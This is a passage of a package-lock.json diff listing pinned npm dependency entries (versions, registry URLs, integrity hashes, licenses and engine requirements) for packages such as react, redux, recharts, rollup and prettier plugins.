"engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-queue": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/p-queue/-/p-queue-8.1.1.tgz", + "integrity": "sha512-aNZ+VfjobsWryoiPnEApGGmf5WmNsCo9xu8dfaYamG5qaLP7ClhLN6NgsFe6SwJ2UbLEBK5dv9x8Mn5+RVhMWQ==", + "license": "MIT", + "dependencies": { + "eventemitter3": "^5.0.1", + "p-timeout": "^6.1.2" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-retry": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-6.2.1.tgz", + "integrity": "sha512-hEt02O4hUct5wtwg4H4KcWgDdm+l1bOaEy/hWzd8xtXB9BqxTWBBhb+2ImAtH4Cv4rPjV76xN3Zumqk3k3AhhQ==", + "license": "MIT", + "dependencies": { + "@types/retry": "0.12.2", + "is-network-error": "^1.0.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=16.17" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-timeout": { + "version": "6.1.4", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-6.1.4.tgz", + "integrity": "sha512-MyIV3ZA/PmyBN/ud8vV9XzwTrNtR4jFrObymZYnZqMmW0zA8Z17vnT0rBgFE/TlohB+YCHqXMgZzb3Csp49vqg==", + "license": "MIT", + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/possible-typed-array-names": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz", + "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/postcss": { + "version": "8.5.25", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.25.tgz", + "integrity": "sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.16", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/preact": { + "version": "10.29.7", + "resolved": "https://registry.npmjs.org/preact/-/preact-10.29.7.tgz", + "integrity": "sha512-DCHYrK/B10yUD3ZjLfhZ3WIE/9Vf9VFUODcRE2dRomTYDpJk6z6L9wecSfhfE6M9ZTHUdyQkoC46arIDhEV84Q==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/preact" + }, + "peerDependencies": { + "preact-render-to-string": ">=5" + }, + "peerDependenciesMeta": { + "preact-render-to-string": { + "optional": true + } + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.5.2.tgz", + "integrity": "sha512-lc6npv5PH7hVqozBR7lkBNOGXV9vMwROAPlumdBkX0wTbbzPu/U1hk5yL8p2pt4Xoc+2mkT8t/sow2YrV/M5qg==", + "dev": true, + "license": "MIT", + "bin": { + "prettier": "bin/prettier.cjs" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/prettier-plugin-organize-imports": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/prettier-plugin-organize-imports/-/prettier-plugin-organize-imports-4.1.0.tgz", + "integrity": "sha512-5aWRdCgv645xaa58X8lOxzZoiHAldAPChljr/MT0crXVOWTZ+Svl4hIWlz+niYSlO6ikE5UXkN1JrRvIP2ut0A==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "prettier": ">=2.0", + "typescript": ">=2.9", + "vue-tsc": "^2.1.0" + }, + "peerDependenciesMeta": { + "vue-tsc": { + "optional": true + } + } + }, + "node_modules/prettier-plugin-tailwindcss": { + "version": "0.6.11", + "resolved": "https://registry.npmjs.org/prettier-plugin-tailwindcss/-/prettier-plugin-tailwindcss-0.6.11.tgz", + "integrity": "sha512-YxaYSIvZPAqhrrEpRtonnrXdghZg1irNg4qrjboCXrpybLWVs55cW2N3juhspVJiO0JBvYJT8SYsJpc8OQSnsA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.21.3" + }, + "peerDependencies": { + "@ianvs/prettier-plugin-sort-imports": "*", + "@prettier/plugin-pug": "*", + "@shopify/prettier-plugin-liquid": "*", + "@trivago/prettier-plugin-sort-imports": "*", + "@zackad/prettier-plugin-twig": "*", + "prettier": "^3.0", + "prettier-plugin-astro": "*", + "prettier-plugin-css-order": "*", + "prettier-plugin-import-sort": "*", + "prettier-plugin-jsdoc": "*", + "prettier-plugin-marko": "*", + "prettier-plugin-multiline-arrays": "*", + "prettier-plugin-organize-attributes": "*", + "prettier-plugin-organize-imports": "*", + "prettier-plugin-sort-imports": "*", + "prettier-plugin-style-order": "*", + "prettier-plugin-svelte": "*" + }, + "peerDependenciesMeta": { + "@ianvs/prettier-plugin-sort-imports": { + "optional": true + }, + "@prettier/plugin-pug": { + "optional": true + }, + "@shopify/prettier-plugin-liquid": { + "optional": true + }, + "@trivago/prettier-plugin-sort-imports": { + "optional": true + }, + "@zackad/prettier-plugin-twig": { + "optional": true + }, + "prettier-plugin-astro": { + "optional": true + }, + "prettier-plugin-css-order": { + "optional": true + }, + "prettier-plugin-import-sort": { + "optional": true + }, + "prettier-plugin-jsdoc": { + "optional": true + }, + "prettier-plugin-marko": { + "optional": true + }, + "prettier-plugin-multiline-arrays": { + "optional": true + }, + "prettier-plugin-organize-attributes": { + "optional": true + }, + "prettier-plugin-organize-imports": { + "optional": true + }, + "prettier-plugin-sort-imports": { + "optional": true + }, + "prettier-plugin-style-order": { + "optional": true + }, + "prettier-plugin-svelte": { + "optional": true + } + } + }, + "node_modules/pretty-bytes": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-6.1.1.tgz", + "integrity": "sha512-mQUvGU6aUFQ+rNvTIAcZuWGRT9a6f6Yrg9bHs4ImKF+HZCEK+plBvnAZYSIQztknZF2qnzNtr6F8s0+IuptdlQ==", + "license": "MIT", + "engines": { + "node": "^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dev": true, + "license": "MIT", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.15.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.3.tgz", + "integrity": "sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==", + "license": "BSD-3-Clause", + "dependencies": { + "es-define-property": "^1.0.1", + "side-channel": "^1.1.1" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/react": { + "version": "19.0.0", + "resolved": "https://registry.npmjs.org/react/-/react-19.0.0.tgz", + "integrity": "sha512-V8AVnmPIICiWpGfm6GLzCR/W5FXLchHop40W4nXBmdlEceh16rCN8O8LNWm5bh5XUX91fh7KpA+W0TgMKmgTpQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.0.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.0.0.tgz", + "integrity": "sha512-4GV5sHFG0e/0AD4X+ySy6UJd3jVl1iNsNHdpad0qhABJ11twS3TTBnseqsKurKcsNqCEFeGL3uLpVChpIO3QfQ==", + "license": "MIT", + "dependencies": { + "scheduler": "^0.25.0" + }, + "peerDependencies": { + "react": "^19.0.0" + } + }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/react-redux": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.3.0.tgz", + "integrity": "sha512-KQopgqFo/p/fgmAs5qz6p5RWaNAzq40WAu7fJIXnQpYxFPbJYtsJPWvGeF2rOBaY/kEuV77AVsX8TsQzKm+A/g==", + "license": "MIT", + "dependencies": { + "@types/use-sync-external-store": "^0.0.6", + "use-sync-external-store": "^1.4.0" + }, + "peerDependencies": { + "@types/react": "^18.2.25 || ^19", + "react": "^18.0 || ^19", + "redux": "^5.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "redux": { + "optional": true + } + } + }, + "node_modules/react-refresh": { + "version": "0.14.2", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.14.2.tgz", + "integrity": "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-remove-scroll": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.6.3.tgz", + "integrity": "sha512-pnAi91oOk8g8ABQKGF5/M9qxmmOPxaAnopyTHYfqYEwJhyFrbbBtHuSgtKEoH0jpcxx5o3hXqH1mNd9/Oi+8iQ==", + "license": "MIT", + "dependencies": { + "react-remove-scroll-bar": "^2.3.7", + "react-style-singleton": "^2.2.3", + "tslib": "^2.1.0", + "use-callback-ref": "^1.3.3", + "use-sidecar": "^1.1.3" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-remove-scroll-bar": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.8.tgz", + "integrity": "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==", + "license": "MIT", + "dependencies": { + "react-style-singleton": "^2.2.2", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-style-singleton": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.3.tgz", + "integrity": "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==", + "license": "MIT", + "dependencies": { + "get-nonce": "^1.0.0", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/recharts": { + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/recharts/-/recharts-3.10.1.tgz", + "integrity": "sha512-QXFrvt6IVcw7eeZCoyXTwkIJAX3Dv1nyVhMicXJ47GsGDDpcN8z6o644DibE9XjpBTThtsomLKnTV6lc+cVFUA==", + "license": "MIT", + "workspaces": [ + "www" + ], + "dependencies": { + "@reduxjs/toolkit": "^1.9.0 || 2.x.x", + "clsx": "^2.1.1", + "decimal.js-light": "^2.5.1", + "es-toolkit": "^1.39.3", + "eventemitter3": "^5.0.1", + "immer": "^11.1.8", + "react-redux": "8.x.x || 9.x.x", + "reselect": "5.2.0", + "tiny-invariant": "^1.3.3", + "use-sync-external-store": "^1.2.2", + "victory-vendor": "^37.0.2" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-is": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/redux": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz", + "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==", + "license": "MIT" + }, + "node_modules/redux-thunk": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-3.1.0.tgz", + "integrity": "sha512-NW2r5T6ksUKXCabzhL9z+h206HQw/NJkcLm1GPImRQ8IzfXwRGqjVhKJGauHirT0DAuyy6hjdnMZaRoAcy0Klw==", + "license": "MIT", + "peerDependencies": { + "redux": "^5.0.0" + } + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", + "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.7", + "get-proto": "^1.0.1", + "which-builtin-type": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz", + "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-errors": "^1.3.0", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/reselect": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.2.0.tgz", + "integrity": "sha512-AgZ3UOZm3YndfrJ4OYjgrT7bmCm/1iqkjvEfH/oYjzh6PD2qw4QuT3jjnXIrpdt4MTpMXclMT3lXbmRY+XRakw==", + "license": "MIT" + }, + "node_modules/resolve": { + "version": "2.0.0-next.5", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.5.tgz", + "integrity": "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.62.4.tgz", + "integrity": "sha512-RXOqwaPsBGjMNMa4sQjDjHieHEZDFoj/Rdr46l2MU5DfEs16wHJPC2RPTPHWhNl+M3aI472LLqFkFKut4SblOg==", + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.9" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@napi-rs/lzma-linux-x64-gnu": "1.5.1", + "@rollup/rollup-android-arm-eabi": "4.62.4", + "@rollup/rollup-android-arm64": "4.62.4", + "@rollup/rollup-darwin-arm64": "4.62.4", + "@rollup/rollup-darwin-x64": "4.62.4", + "@rollup/rollup-freebsd-arm64": "4.62.4", + "@rollup/rollup-freebsd-x64": "4.62.4", + "@rollup/rollup-linux-arm-gnueabihf": "4.62.4", + "@rollup/rollup-linux-arm-musleabihf": "4.62.4", + "@rollup/rollup-linux-arm64-gnu": "4.62.4", + "@rollup/rollup-linux-arm64-musl": "4.62.4", + "@rollup/rollup-linux-loong64-gnu": "4.62.4", + "@rollup/rollup-linux-loong64-musl": "4.62.4", + "@rollup/rollup-linux-ppc64-gnu": "4.62.4", + "@rollup/rollup-linux-ppc64-musl": "4.62.4", + "@rollup/rollup-linux-riscv64-gnu": "4.62.4", + "@rollup/rollup-linux-riscv64-musl": "4.62.4", + "@rollup/rollup-linux-s390x-gnu": "4.62.4", + "@rollup/rollup-linux-x64-gnu": "4.62.4", + "@rollup/rollup-linux-x64-musl": "4.62.4", + "@rollup/rollup-openbsd-x64": "4.62.4", + "@rollup/rollup-openharmony-arm64": "4.62.4", + "@rollup/rollup-win32-arm64-msvc": "4.62.4", + "@rollup/rollup-win32-ia32-msvc": "4.62.4", + "@rollup/rollup-win32-x64-gnu": "4.62.4", + "@rollup/rollup-win32-x64-msvc": "4.62.4", + "fsevents": "~2.3.2" + } + }, + "node_modules/rollup/node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.62.4.tgz", + "integrity": "sha512-W69hukhZ3KKNRCaMIEzKvcFye42hh0FE1+YoYaf5+Ikacuftoco6yO/xouz0hc5d5W/s3yBro5jRiuEE/Q5vUw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rxjs": { + "version": "7.8.2", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.2.tgz", + "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.1.0" + } + }, + "node_modules/safe-array-concat": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz", + "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "has-symbols": "^1.1.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-push-apply": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz", + "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-regex-test": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz", + "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-regex": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/scheduler": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.25.0.tgz", + "integrity": "sha512-xFVuu11jh+xcO7JOAGJNOXld8/TcEHK/4CituBUeUb5hqxJLj9YuemAEuvm9gQ/+pgXYfbQuqAkiYu+u7YEsNA==", + "license": "MIT" + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-function-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz", + "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-proto": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz", + "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-errors": 